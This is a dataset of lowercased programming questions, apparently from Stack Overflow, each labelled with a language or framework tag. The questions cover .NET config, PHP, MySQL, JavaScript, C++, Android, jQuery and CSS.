.net .config  really long text  i m building a very simple application .net console application that will execute a sql statement and post it to a url.   my issue is that the sql statement might be very long and will certainly go over many lines.   how can you specify a lot of text inside of a .config file     example:   <pre><code>&lt;add key= selectstatement  value= select * from test1table /&gt; </code></pre>   the above is  pretty easy and works well.   however  when that sql is 1000+ characters long and includes many case statements  joins  group by it becomes more troublesome.  a basic copy and paste from query analyzer doesnt work very well.      ideal would be below  but doesn t work.  :   <pre><code>&lt;add key= selectstatement &gt; select * from test1table &lt;/add&gt; </code></pre>   thanks for the help.     edit: based on the feedback  going to be more specific.      the plan is for a friend of mine  that s not too technical  to be able to deploy the .exe at various client locations.  each location will have a similar query  but each may be different.  he ll have read only access to the tables  ie;  can t save anything into the database or create different objects.  my hope was to leave all config settings to just 1 file.  is there a clean/easy way to store it in the .config file,.net
my php script exception message: count(): parameter must be an array or an object that implements countable <blockquote>     count(): parameter must be an array or an object that implements   countable (view:   d:\xampp\htdocs\btrade\core\resources\views\dashboard\user-details.blade.php)   </blockquote>   looking for i saw that some have this error in their code  but i did not find how can i solve my problem please help me  i think this is the failing  case:   <pre><code>@if(count($user)) </code></pre>   my php version : <code>php 7.2.0</code>        <a href= https://i.stack.imgur.com/saxg4.jpg  rel= nofollow noreferrer >this my error imge</a>    this is my code   <pre><code>  @extends( layouts.dashboard ) @section( style )      &lt;link href= {{ asset( assets/admin/css/bootstrap-toggle.min.css ) }}  rel= stylesheet &gt;   @endsection @section( content )      @if(count($user))          &lt;div class= row &gt;             &lt;div class= col-md-12 &gt;                   &lt;div class= portlet blue box &gt;                     &lt;div class= portlet-title &gt;                         &lt;div class= caption font-dark &gt;                             &lt;strong&gt;user details&lt;/strong&gt;                         &lt;/div&gt;                         &lt;div class= tools &gt; &lt;/div&gt;                     &lt;/div&gt;                     &lt;div class= portlet-body  style= overflow:hidden; &gt;                          &lt;div class= col-md-3 &gt;                             &lt;div class= portlet box blue &gt;                                 &lt;div class= portlet-title &gt;                                     &lt;div class= caption uppercase bold &gt;                                         &lt;i class= fa fa-user &gt;&lt;/i&gt; profile &lt;/div&gt;                                 &lt;/div&gt;                                 &lt;div class= portlet-body text-center  style= overflow:hidden; &gt;                                     &lt;img src= @if($user-&gt;image ==  user-default.png ) {{ asset( assets/images/user-default.png ) }} @else {{ asset( assets/images ) }}/{{ $user-&gt;image }}@endif  class= img-responsive propic  alt= profile pic &gt;                                      &lt;hr&gt;&lt;h4 class= bold &gt;user name : {{ $user-&gt;username}}&lt;/h4&gt;                                     &lt;h4 class= bold &gt;name : {{ $user-&gt;name }}&lt;/h4&gt;                                     &lt;h4 class= bold &gt;balance : {{ $user-&gt;balance }} {{ $basic-&gt;currency }}&lt;/h4&gt;                                     &lt;hr&gt;                                     @if($user-&gt;login_time != null)                                         &lt;p&gt;                                             &lt;strong&gt;last login : {{ \carbon\carbon::parse($user-&gt;login_time)-&gt;diffforhumans() }}&lt;/strong&gt; &lt;br&gt;                                         &lt;/p&gt;                                     &lt;hr&gt;                                     @endif                                     @if($last_login != null)                                     &lt;p&gt;                                         &lt;strong&gt;last login from&lt;/strong&gt; &lt;br&gt; {{ $last_login-&gt;user_ip }} -  {{ $last_login-&gt;location }} &lt;br&gt; using {{ $last_login-&gt;details }} &lt;br&gt;                                     &lt;/p&gt;                                     @endif                                 &lt;/div&gt;                             &lt;/div&gt;                         &lt;/div&gt;                         &lt;div class= col-md-9 &gt;                             &lt;div class= row &gt;                                  &lt;div class= col-md-12 &gt;                                     &lt;div class= portlet box purple &gt;                                         &lt;div class= portlet-title &gt;                                             &lt;div class= caption uppercase bold &gt;                                                 &lt;i class= fa fa-desktop &gt;&lt;/i&gt; details &lt;/div&gt;                                             &lt;div class= tools &gt; &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;div class= portlet-body &gt;                                              &lt;div class= row &gt;                                                   &lt;!-- start --&gt;                                                 &lt;a href= {{ route( user-repeat-all  $user-&gt;username) }} &gt;                                                     &lt;div class= col-lg-3 col-md-3 col-sm-6 col-xs-12  style= margin-bottom: 20px; &gt;                                                         &lt;div class= dashboard-stat blue &gt;                                                             &lt;div class= visual &gt;                                                                 &lt;i class= fa fa-recycle &gt;&lt;/i&gt;                                                             &lt;/div&gt;                                                             &lt;div class= details &gt;                                                                 &lt;div class= number &gt;                                                                     &lt;span data-counter= counterup  data-value= {{ $total_repeat }} &gt;0&lt;/span&gt;                                                                 &lt;/div&gt;                                                                 &lt;div class= desc uppercase bold &gt; repeat &lt;/div&gt;                                                             &lt;/div&gt;                                                             &lt;div class= more &gt;                                                                 &lt;div class= desc uppercase bold text-center &gt;                                                                     {{ $basic-&gt;symbol }}                                                                     &lt;span data-counter= counterup  data-value= {{ $total_repeat_amount }} &gt;0&lt;/span&gt; repeat                                                                 &lt;/div&gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                 &lt;/a&gt;                                                 &lt;!-- end --&gt;                                                  &lt;a href= {{ route( user-deposit-all  $user-&gt;username) }} &gt;                                                     &lt;div class= col-lg-3 col-md-3 col-sm-6 col-xs-12  style= margin-bottom: 20px; &gt;                                                         &lt;div class= dashboard-stat green &gt;                                                             &lt;div class= visual &gt;                                                                 &lt;i class= fa fa-cloud-download &gt;&lt;/i&gt;                                                             &lt;/div&gt;                                                             &lt;div class= details &gt;                                                                 &lt;div class= number &gt;                                                                     &lt;span data-counter= counterup  data-value= {{ $total_deposit }} &gt;0&lt;/span&gt;                                                                 &lt;/div&gt;                                                                 &lt;div class= desc uppercase bold  &gt; deposit &lt;/div&gt;                                                             &lt;/div&gt;                                                             &lt;div class= more &gt;                                                                 &lt;div class= desc uppercase bold text-center &gt;                                                                     {{ $basic-&gt;symbol }}                                                                     &lt;span data-counter= counterup  data-value= {{ $total_deposit_amount }} &gt;0&lt;/span&gt; deposit                                                                 &lt;/div&gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                 &lt;/a&gt;                                                 &lt;!-- end --&gt;                                                  &lt;a href= {{ route( user-withdraw-all  $user-&gt;username) }} &gt;                                                     &lt;div class= col-lg-3 col-md-3 col-sm-6 col-xs-12  style= margin-bottom: 20px; &gt;                                                         &lt;div class= dashboard-stat red &gt;                                                             &lt;div class= visual &gt;                                                                 &lt;i class= fa fa-cloud-upload &gt;&lt;/i&gt;                                                             &lt;/div&gt;                                                             &lt;div class= details &gt;                                                                 &lt;div class= number &gt;                                                                     &lt;span data-counter= counterup  data-value= {{ $total_withdraw }} &gt;0&lt;/span&gt;                                                                 &lt;/div&gt;                                                                 &lt;div class= desc uppercase  bold  &gt; withdraw &lt;/div&gt;                                                             &lt;/div&gt;                                                             &lt;div class= more &gt;                                                                 &lt;div class= desc uppercase bold text-center &gt;                                                                     {{ $basic-&gt;symbol }}                                                                     &lt;span data-counter= counterup  data-value= {{ $total_withdraw_amount }} &gt;0&lt;/span&gt; withdraw                                                                 &lt;/div&gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                 &lt;/a&gt;                                                 &lt;!-- end --&gt;                                                  &lt;a href= {{ route( user-login-all  $user-&gt;username) }} &gt;                                                     &lt;div class= col-lg-3 col-md-3 col-sm-6 col-xs-12  style= margin-bottom: 20px; &gt;                                                         &lt;div class= dashboard-stat yellow &gt;                                                             &lt;div class= visual &gt;                                                                 &lt;i class= fa fa-sign-in &gt;&lt;/i&gt;                                                             &lt;/div&gt;                                                             &lt;div class= details &gt;                                                                 &lt;div class= number &gt;                                                                     &lt;span data-counter= counterup  data-value= {{ $total_login }} &gt;0&lt;/span&gt;                                                                 &lt;/div&gt;                                                                 &lt;div class= desc uppercase  bold  &gt; log in &lt;/div&gt;                                                             &lt;/div&gt;                                                             &lt;div class= more &gt;                                                                 &lt;div class= desc uppercase bold text-center &gt;                                                                     view details                                                                 &lt;/div&gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                 &lt;/a&gt;                                                 &lt;!-- end --&gt;                                              &lt;/div&gt;                                          &lt;/div&gt;                                     &lt;/div&gt;                                 &lt;/div&gt;                                  &lt;div class= col-md-12 &gt;                                     &lt;div class= portlet box blue-ebonyclay &gt;                                         &lt;div class= portlet-title &gt;                                             &lt;div class= caption uppercase bold &gt;                                                 &lt;i class= fa fa-cogs &gt;&lt;/i&gt; operations &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;div class= portlet-body &gt;                                             &lt;div class= row &gt;                                                  &lt;div class= col-md-6 uppercase &gt;                                                     &lt;a href= {{ route( user-money  $user-&gt;username) }}  class= btn btn-primary btn-lg btn-block &gt; &lt;i class= fa fa-money &gt;&lt;/i&gt; add / substruct balance  &lt;/a&gt;                                                 &lt;/div&gt;                                                  &lt;div class= col-md-6 uppercase &gt;                                                     &lt;a href= {{ route( user-send-mail  $user-&gt;id) }}  class= btn btn-success btn-lg btn-block &gt;&lt;i class= fa fa-envelope-open &gt;&lt;/i&gt; send email&lt;/a&gt;                                                 &lt;/div&gt;                                               &lt;/div&gt;                                         &lt;/div&gt;                                     &lt;/div&gt;                                 &lt;/div&gt;                                  &lt;div class= col-md-12 &gt;                                     &lt;div class= portlet box green &gt;                                         &lt;div class= portlet-title &gt;                                             &lt;div class= caption uppercase bold &gt;                                                 &lt;i class= fa fa-cog &gt;&lt;/i&gt; update profile &lt;/div&gt;                                         &lt;/div&gt;                                         &lt;div class= portlet-body &gt;                                              &lt;form action= {{ route( user-details-update ) }}  method= post &gt;                                                  {!! csrf_field() !!}                                                  &lt;input type= hidden  name= user_id  value= {{ $user-&gt;id }} &gt;                                                 &lt;div class= row uppercase &gt;                                                      &lt;div class= col-md-4 &gt;                                                         &lt;div class= form-group &gt;                                                             &lt;label class= col-md-12 &gt;&lt;strong&gt;name&lt;/strong&gt;&lt;/label&gt;                                                             &lt;div class= col-md-12 &gt;                                                                 &lt;input class= form-control input-lg  name= name  value= {{ $user-&gt;name }}  type= text &gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                      &lt;div class= col-md-4 &gt;                                                         &lt;div class= form-group &gt;                                                             &lt;label class= col-md-12 &gt;&lt;strong&gt;email&lt;/strong&gt;&lt;/label&gt;                                                             &lt;div class= col-md-12 &gt;                                                                 &lt;input class= form-control input-lg  name= email  value= {{ $user-&gt;email }}  type= text &gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                      &lt;div class= col-md-4 &gt;                                                         &lt;div class= form-group &gt;                                                             &lt;label class= col-md-12 &gt;&lt;strong&gt;phone&lt;/strong&gt;&lt;/label&gt;                                                             &lt;div class= col-md-12 &gt;                                                                 &lt;input class= form-control input-lg  name= phone  value= {{ $user-&gt;phone }}  type= text &gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                   &lt;/div&gt;&lt;!-- row --&gt;                                                  &lt;br&gt;&lt;br&gt;                                                 &lt;div class= row uppercase &gt;                                                       &lt;div class= col-md-4 &gt;                                                         &lt;div class= form-group &gt;                                                             &lt;label class= col-md-12 &gt;&lt;strong&gt;status&lt;/strong&gt;&lt;/label&gt;                                                             &lt;div class= col-md-12 &gt;                                                                 &lt;input data-toggle= toggle  {{ $user-&gt;status == 0    checked  :   }} data-onstyle= success  data-size= large  data-offstyle= danger  data-on= active  data-off= blocked   data-width= 100%  type= checkbox  name= status &gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                      &lt;div class= col-md-4 &gt;                                                         &lt;div class= form-group &gt;                                                             &lt;label class= col-md-12 &gt;&lt;strong&gt;email verification&lt;/strong&gt;&lt;/label&gt;                                                             &lt;div class= col-md-12 &gt;                                                                 &lt;input data-toggle= toggle  {{ $user-&gt;email_verify == 1    checked  :   }} data-onstyle= success  data-size= large  data-offstyle= danger  data-on= verified  data-off= not verified   data-width= 100%  type= checkbox  name= email_verify &gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                      &lt;div class= col-md-4 &gt;                                                         &lt;div class= form-group &gt;                                                             &lt;label class= col-md-12 &gt;&lt;strong&gt;phone verification&lt;/strong&gt;&lt;/label&gt;                                                             &lt;div class= col-md-12 &gt;                                                                 &lt;input data-toggle= toggle  {{ $user-&gt;phone_verify == 1    checked  :   }} data-onstyle= success  data-size= large  data-offstyle= danger  data-on= verified  data-off= not verified   data-width= 100%  type= checkbox  name= phone_verify &gt;                                                             &lt;/div&gt;                                                         &lt;/div&gt;                                                     &lt;/div&gt;                                                  &lt;/div&gt;&lt;!-- row --&gt;                                                  &lt;br&gt;&lt;br&gt;                                                  &lt;div class= row &gt;                                                     &lt;div class= col-md-12 &gt;                                                         &lt;button type= submit  class= btn blue btn-block btn-lg &gt;update&lt;/button&gt;                                                     &lt;/div&gt;                                                 &lt;/div&gt;                                              &lt;/form&gt;                                          &lt;/div&gt;                                     &lt;/div&gt;                                 &lt;/div&gt;                               &lt;/div&gt;                         &lt;/div&gt;&lt;!-- col-9 --&gt;                      &lt;/div&gt;                 &lt;/div&gt;              &lt;/div&gt;         &lt;/div&gt;&lt;!-- row--&gt;      @else          &lt;div class= text-center &gt;             &lt;h3&gt;no user found&lt;/h3&gt;         &lt;/div&gt;     @endif   @endsection @section( scripts )      &lt;script src= {{ asset( assets/admin/js/bootstrap-toggle.min.js ) }} &gt;&lt;/script&gt;     &lt;script src= {{ asset( assets/admin/js/jquery.waypoints.min.js ) }}  type= text/javascript &gt;&lt;/script&gt;     &lt;script src= {{ asset( assets/admin/js/jquery.counterup.min.js ) }}  type= text/javascript &gt;&lt;/script&gt;  @endsection </code></pre>,php
mysql main table link 2 field to the same table  i have a main table  activitynot  it have 2 fields that link to the samtable  member .    how can i get the name of from member table the code below it give a correct name for  member.sname but   <pre><code>(select member.sname from activitynote inner join member on activitynote.idmemberref = member.idmember limit 1 ) </code></pre>   it give the same name for every row plese correct it   <pre><code>select member.sname  activitynote.idactivity  (select member.sname from activitynote inner join member on activitynote.idmemberref = member.idmember limit 1 )  from activitynote inner join member on activitynote.idactivity = member.idmember </code></pre>,mysql
adding text to javascript items  is there a way for me to add text to sprites in javascript so each can be given it s own number instead of having to edit the picture      i m working with a simple matching game <a href= http://aharrisbooks.net/h5g/simplegame_1_0.js  rel= nofollow >described here</a>. currently to have the number shown  the image resource must be changed.   <pre><code>&lt;!doctype html&gt; &lt;html&gt;    &lt;head&gt;      &lt;title&gt;bakerice&lt;/title&gt;     &lt;meta charset= utf-8 &gt;     &lt;meta name= viewport  content= width=device-width  initial-scale=1.0 &gt;     &lt;script type = text/javascript      src = simplegame.js &gt;&lt;/script&gt;     &lt;script type= text/javascript &gt;          var game;         var ic;         var ib;          function cone() {             tic = new sprite(game  ice-cream-cone.png  150 150);             tic.setspeed(0);             tic.setboundaction(continue);             tic.setposition(200 400);              tic.checkdrag = function(){                 if(tic.ismousedown()){                     tic.setx(document.mousex);                     tic.sety(document.mousey);                 }             };              return tic;          }         function box(){             tib = new sprite(game  ice-cream-box.png  200 200);             tib.setspeed(0);             tib.setboundaction(continue);             tib.setposition(400 250);             tib.addtext = function(text){                 var text = text;             };             return tib;         }         function init() {             console.log( begin init );             game = new scene();              ic = new cone();             ic.checkdrag();             ib = new box();             ib.addtext(1/2);             game.setbg( orange );             game.start();             console.log( end init );         }         function update() {             // console.log( begin update );              game.clear();             ib.update();             ic.update();             ic.checkdrag();              // console.log( end update );         }      &lt;/script&gt;  &lt;/head&gt; &lt;body onload =  init() &gt;  &lt;/body&gt; </code></pre>,javascript
how to retrieve google user s profile information using dotnetopenauth  below are the code i have used:   <pre><code>// retrieve the user s profile information messagereceivingendpoint getprofileendpoint = new messagereceivingendpoint( https://apps- apis.google.com/a/feeds/user/#readonly   httpdeliverymethods.getrequest); var request = google.prepareauthorizedrequest(getprofileendpoint  accesstoken); var response = request.getresponse(); </code></pre>   from the above code i got bad request error. any pointer to this issue.,.net
listview if statement  i have this code in my listview:   <pre><code>&lt;td&gt; &lt;asp:textbox id= used_for_neighborhood_analysistextbox  runat= server  text= &lt;%# bind( [used for neighborhood analysis] ) %&gt;  /&gt;  &lt;/td&gt; </code></pre>   i would like to check if this value equals yes then make it --yes-- in bold.,asp.net
when exactly does c++ dispatch dynamically   i was trying to figure out with what signatures c++ <em>actually</em> calls methods virtually  instead of using the base class. so i wrote the following:   <pre><code>#include &lt;iostream&gt; #include &lt;string&gt;  using namespace std; #define greeter(type  op)\     string greet(type t) {\         return string(#type) + t op greet();\     }  struct unvirtual {     string greet() {         return  unvirtual ;     } };  struct unvirtualunoverride : unvirtual {     string greet() {         return  unvirtualunoverride ;     } };  struct virtual {     virtual string greet() {         return  virtual ;     } };  struct virtualunoverride : virtual {     virtual string greet() {         return  virtualunoverride ;     } };  struct virtualoverride : virtual {     virtual string greet() override {         return  virtualoverride ;     } };  greeter(unvirtual  .) //greeter(unvirtual&amp;  .) greeter(unvirtual*  -&gt;)  // greeter(unvirtualunoverride  .) // greeter(unvirtualunoverride&amp;  .) // greeter(unvirtualunoverride*  -&gt;)  greeter(virtual  .) //greeter(virtual&amp;  .) greeter(virtual*  -&gt;)  // greeter(virtualunoverride  .) // greeter(virtualunoverride&amp;  .) // greeter(virtualunoverride*  -&gt;)  // greeter(virtualoverride  .) // greeter(virtualoverride&amp;  .) // greeter(virtualoverride*  -&gt;)  #define debug(expr)\     cout &lt;&lt; #expr &lt;&lt; endl;\     cout &lt;&lt;  \t  &lt;&lt; expr &lt;&lt; endl;  int main() {     unvirtual uv  &amp;uvr = uv  *uvp = &amp;uv;     unvirtualunoverride uvu  &amp;uvur = uvu  *uvup = &amp;uvu;     virtual v  &amp;vr = v  *vp = &amp;v;     virtualunoverride vu  &amp;vur = vu  *vup = &amp;vu;     virtualoverride vo  &amp;vor = vo  *vop = &amp;vo;      debug(greet(uv));     debug(greet(uvr));     debug(greet(uvp));      debug(greet(uvu));     debug(greet(uvur));     debug(greet(uvup));      debug(greet(v));     debug(greet(vr));     debug(greet(vp));      debug(greet(vu));     debug(greet(vur));     debug(greet(vup));      debug(greet(vo));     debug(greet(vor));     debug(greet(vop));      system( pause );     return 0; } </code></pre>   the program s output was:   <pre><code>greet(uv)     unvirtualunvirtual greet(uvr)     unvirtualunvirtual greet(uvp)     unvirtual*unvirtual greet(uvu)     unvirtualunvirtual greet(uvur)     unvirtualunvirtual greet(uvup)     unvirtual*unvirtual greet(v)     virtualvirtual greet(vr)     virtualvirtual greet(vp)     virtual*virtual greet(vu)     virtualvirtual greet(vur)     virtualvirtual greet(vup)     virtual*virtualunoverride greet(vo)     virtualvirtual greet(vor)     virtualvirtual greet(vop)     virtual*virtualoverride press any key to continue . . . </code></pre>   from this i conclude that c++ only dispatches method <code>m</code> on object <code>o</code> dynamically when: <code>m</code> is declared <code>virtual</code> and <code>o</code> is a pointer.    are these conclusions accurate  have i missed any tests,c++
define the following modules to display the system’s summary.  (a) a module to display the author(s) name against each shell command located at /bin/ (b) a module to collect cpu utilization percentage in an interval of 20 seconds. execute the module for 5 minutes. store system time and cpu utilization count to a file (e.g.  utlcount.txt). (c) a module to display cpu utilization percentage by a specified user (e.g.mysql) in an interval of 10 seconds.   <pre><code>    #include&lt;stdio.h&gt;    #include&lt;stdlib.h&gt;         void main() {              system( ls -l --author /bin | awk  {print$5\nprint$10}  );              system( mpstat 2 4 | cat &gt; a.txt );              char str[30];              printf( enter the user name );              scanf( %s  str);              system( mpstat 2 4 |  grep ( str ) );     } </code></pre>   why it is showing error in 3rd one,c
wait for data to load before instantiating a component  i am using angular 1.5. i have a component embedded in another component as demonstrated below. problem is that the <code>data</code> variable is not yet resolved when angular fires <code>component-child</code> and so i get nothing. how do i wait for the variable to be resolved before the child component instantiates.     <strong>html</strong>   <pre><code>&lt;component-parent&gt;      &lt;component-child data= $ctrl.data._id &gt;&lt;\component-child&gt; &lt;/component-parent&gt; </code></pre>   <strong>js</strong>   <pre><code>this.data = someresource.get(); </code></pre>,angularjs
convert double value into datetime in c#  i have a double value<br>  ex:    <pre><code>double currentdate = 20161011;   </code></pre>   unable to convert this double value into date format like  10/11/2016     i try to use    <pre><code> datetime newdate = datetime.fromoadate(currentdate); </code></pre>   but it through an exception    <blockquote>    not a legal oleaut date.  </blockquote>,c#
adding a count to a number guessing game  so i have a basic number guessing game and it works fine  however i would like someone to show me how i could display the number of attempted guesses at the end of the game. also would it be possible to show previous guesses at the end of the game like this   <img src= https://i.stack.imgur.com/ucdsq.png  alt= enter image description here >   <pre><code>var canvas; canvas = opengraphics(); var max; max = 100; var numbertoguess; numbertoguess =  50; // will be changed to math.floor( math.random() * max ) + 1; canvas.setfont( comic sans ms    15px   font.bold); canvas.drawstring( number guessing game! ); var guess; guess = prompt(  please input your guess 1-100  );   do { // check previous guess and alert low/high message if ( guess ) {     if ( guess &gt; numbertoguess ) {         alert(  your guess was too high:   + guess);     }     else if ( guess &lt; numbertoguess ) {         alert(  your guess was too low:   + guess);     } }  guess = prompt(  please input your guess 1-100  ); } while ( guess != numbertoguess );  alert(  you guessed correctly!   + guess ); canvas.paint(); </code></pre>,javascript
i call a method in class a and from class it works. but if i call the same method in class b i get error <blockquote>    here is the method  </blockquote>  <pre><code>public string testfile(int numofpunches  string filename   int picture  int cancelpix){     string string=  ;     boolean a;     filename = filename;     try {         fileinputstream fis = openfileinput(filename);         try{             int counter = fis.read( mids  0 numofpunches);             fis.close();             int i=0;             while( i &lt;counter ){                 if(mids[i] ==  c ){                     mthumbids[i++] = picture; //r.drawable.crab;                     string=string.concat( c );                  }else{                      mthumbids[i] = cancelpix;                      string=string.concat( x );                       imageview punchit =  (imageview)  findviewbyid(mypunches[i++]);  punchit.setimageresource(r.drawable.punchboxcancelled);                     }             }             string testfordone =  xxxxxxxxxxxxxxxxxxxxxxxxxxxx ;             a= string.equals(testfordone.substring(0 numofpunches));             if(a){                 return  done ;             }         }catch (ioexception e){           }     }catch (filenotfoundexception e) {          try {//initialize             string filename = filename;             fileoutputstream fos =  openfileoutput(filename               context.mode_private);             string  =  cccccccccccccccccccccccccccccccccccccc ;             string.substring(0 numofpunches);              try {                 fos.write(string.getbytes());                 fos.close();                   int counter = 0;                 while(counter &lt; numofpunches ){                      mthumbids[counter++] =  picture;                   }             }catch(ioexception err){              }          }catch(filenotfoundexception error){           };      } </code></pre>  <blockquote>    i call it from the same class (a) where this method is located.   now i create a new class (punchactivities) with the same method.   import class punchactivities in a   call the method as  </blockquote>  <pre><code>punchactivities pa = new punchactivities(); string result = pa.testfile(all the required parameters); </code></pre>  <blockquote>    at runtime the program gets to   </blockquote>  <pre><code>fileinputstream fis = openfileinput(filename); in punchactivities  </code></pre>  <blockquote>    but then it gets back to class a with nullpointer error.   why      anyone know the rules of android    </blockquote>,android
cannot convert from  char **  to  char *[]   i have a method that i m trying to call. the prototype looks something like this:   <pre><code>void mymethod(const char* names[]) </code></pre>   i want to construct an array of char* to pass to this method  but i cannot workout the syntax. about the best i can do is:   <pre><code>char* names[] = new char*[numnames]; </code></pre>   but this does not compile. any ideas     note: i cannot change the declaration of mymethod  that s set in stone.,c++
how to upload file from app loader after getting status prepare for upload  thanks in advance.      i have entered the info in itunesconnect and get the app status prepare for upload. but to upload the app distribution file from app loader i didn t get the file name in app loader.then how can i choose the file name to upload. if any one know please help me.,iphone
select data from table making records with certain fields appear first in the resultset  i have a reviews table with from_id and to_id fields for the users involved. i want to know if theres a way in mysql to make that the reviews made by a certain user appear on top of all other reviews regardless of the order in the select statement.    is it possible or would it be better to just fetch the records and then format the response      thanks in advance.,mysql
why is detailtextlabel not visible  here i will show you a snippet of the code  that i m using:   <pre><code>-(uitableviewcell*)tableview:(uitableview*)tableview cellforrowatindexpath:(nsindexpath *)indexpath{     static nsstring *tableidentifier=@ system ;     uitableviewcell *cell=[tableview dequeuereusablecellwithidentifier:tableidentifier];      if (cell==nil) {         cell=[[uitableviewcell alloc] initwithstyle:uitableviewcellstyledefault reuseidentifier:tableidentifier];     }      cell.textlabel.text=[peoples objectatindex:indexpath.row];     cell.textlabel.textcolor=[uicolor whitecolor];     cell.detailtextlabel.text=[location objectatindex:indexpath.row];     cell.detailtextlabel.textcolor=[uicolor whitecolor]; } </code></pre>,objective-c
how do i access an array in an object in an array in js   i did not find the syntax to do this.    some unsuccessful attempts:    <pre><code>tilesets[actualtilesetno].tiles </code></pre>   one inconvenient but working way:   <pre><code>//access an object which is a specific row of the array  let x=tilesets[actualtilesetno];  //access the array that is within the object  let y=x.tiles; </code></pre>   __ update: my syntax was good  but i think the property was not existing yet (loaded by a promise). it works if i do:   <pre><code>  if (typeof(state.tilesets[state.actualtilesetno]) !== undefined ) {   return state.tilesets[state.actualtilesetno].tls}    else {return null} </code></pre>   i do not see a way to close the case or flag it as an answer.,javascript
cannot redeclare function error - but function only declared once  i am getting an error  cannot redeclare sortproperties()  however i m struggling to find where this is declared twice.   <blockquote>    fatal error: cannot redeclare sortproperties() (previously declared in   actions/query-properties.php:185) in actions/query-properties.php on   line 190  </blockquote>   so it says it is being declared on line 185 and then reclared on 190. this is odd because those are the beginning and ending lines of the function:   <pre><code>185: function sortproperties($a  $b) { 186:      if ($a[ specs ][ bedroom_number ] === $b[ specs ][ bedroom_number ]) { 187:          return ($a[ info ][ status ] !==  let )   -1 : 1; 188:      } 189:      return ($a[ specs ][ bedroom_number ] &gt; $b[ specs ][ bedroom_number ])   -1 : 1; 190:  } </code></pre>   the function is called by <code>usort()</code> higher up in this file. is this likely to be affecting it    <pre><code>160: usort($property_list   sortproperties ); </code></pre>,php
understanding php url  very fundamental question    i have phplist project set-up in net beans. url i am accessing is      <a href= http://example.com/admin/  rel= nofollow >http://example.com/admin/</a> and  all the files are under list folder. in debugging i can see that all the times execution starts from index.php file in lists folder.  what i am not getting is how does the particular php file associated with url gets executed.  meaning<br>     <a href= http://example.com/admin/  rel= nofollow >http://example.com/admin/</a>  should execute admin.php  but how does the execution goes to admin.php,php
how to get q method s dependency diagram   i am trying to find a tool that shows a dependency tree for method calls from an assembly. if the method call chain goes across assemblies  this would also be shown i have looked at dependency walker and reflector for .net  these tools show assembly dependencies but i want drill down one more level to get the assembly method call dependencies,.net
get next element with the same class  i use a click event for an element with certain class. inside the click event function i need to get the next element on page with the same class. i tried:   <pre><code>$( .class ).click(function() {     var $next = $(this).next( .class )   }); </code></pre>   and:   <pre><code>$( .class ).click(function() {     var $next = $(this).parent().parent().parent().next( .class )   }); </code></pre>   the .class is a div inside td in a table  that s why three times parent().    my html is something like this (the .class is .drag):   <pre><code>&lt;table cellspacing= 0  cellpadding= 0  border= 0  class= black8 &gt; &lt;tr class= trow1 drop trow1_over       rel= 0 1 &gt;     &lt;td&gt;             &lt;div class= drop rootfolder                    rel= 0 1 &gt;&lt;/div&gt;     &lt;/td&gt;     &lt;td width= 100%           class= folderlistonclick &gt;              &lt;span&gt;.. (koreňový adresár)&lt;/span&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;/td&gt;     &lt;td&gt;     &lt;/td&gt; &lt;/tr&gt;&lt;tr class= trow1 &gt;     &lt;td&gt;         &lt;div class= drag drop ordinaryfolder                rel= 1 1                style= width: 40px; &gt;          &lt;/div&gt;     &lt;/td&gt;     &lt;td width= 100%           class= folderlistonclick           rel= 1 &gt;             &lt;span&gt;aaa&lt;/span&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;div class= button_mini foldereditonclick                rel= 1 &gt;                     &lt;span&gt;&lt;/span&gt;          &lt;/div&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;div class= button_mini folderdeleteonclick                rel= 1 &gt;                     &lt;span&gt;&lt;span&gt;         &lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt;&lt;tr class= trow1 &gt;     &lt;td&gt;          &lt;div class= drag drop ordinaryfolder                rel= 19 1                style= width: 50px; &gt;         &lt;/div&gt;     &lt;/td&gt;     &lt;td width= 100%           class= folderlistonclick           rel= 19 &gt;             &lt;span&gt;subaaa&lt;/span&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;div class= button_mini foldereditonclick                rel= 19 &gt;                      &lt;span&gt;&lt;/span&gt;         &lt;/div&gt;     &lt;/td&gt;     &lt;td&gt;         &lt;div class= button_mini folderdeleteonclick                rel= 19 &gt;                     &lt;span&gt;&lt;span&gt;         &lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; </code></pre>,jquery
animating -webkit-filter with jquery  okay  so i have a filter on a div  that s making the background image of that div greyscale by default using these css properties.    i understand my onblur and onfocus works and how to use them along with animate() using jquery.    such as this  which works and makes sense to me:   <pre><code>$( div.cell ).hover(function() {     $( div.cell ).animate({          border:  none           height:  100px       }  2000  function() {      // animation complete.      }); }); </code></pre>   now i am having a problem with the syntax of animating certain css3 properties.    instead of animating <code>border: none</code> and <code>height: 100px</code> but how do i get to animate these two properties      <pre><code>filter: none; -webkit-filter: grayscale(0); </code></pre>   what i have now is this:   <pre><code>$( #clickme ).click(function() {   $( #book ).animate({     filter:  none    }  5000  function() {     // animation complete.   }); }); </code></pre>   but i am getting major syntax errors while trying to animate <code>-webkit-filter</code> from <code>grayscale(1);</code> to <code>grayscale(0);</code>    thanks guys! let me know if there s anything else you need.    <hr>   so here s what i have now....   <pre><code>$(function() {     $( div.cell ).focus(function(){         alert( whoa );         $( div.cell ).attr( graynow );     }); });​ </code></pre>   and its not working still...    along with some css   <pre><code>.graynow {     -webkit-filter: grayscale(0);      filter: none;   }​ </code></pre>   i m not even getting the alert! :(,css
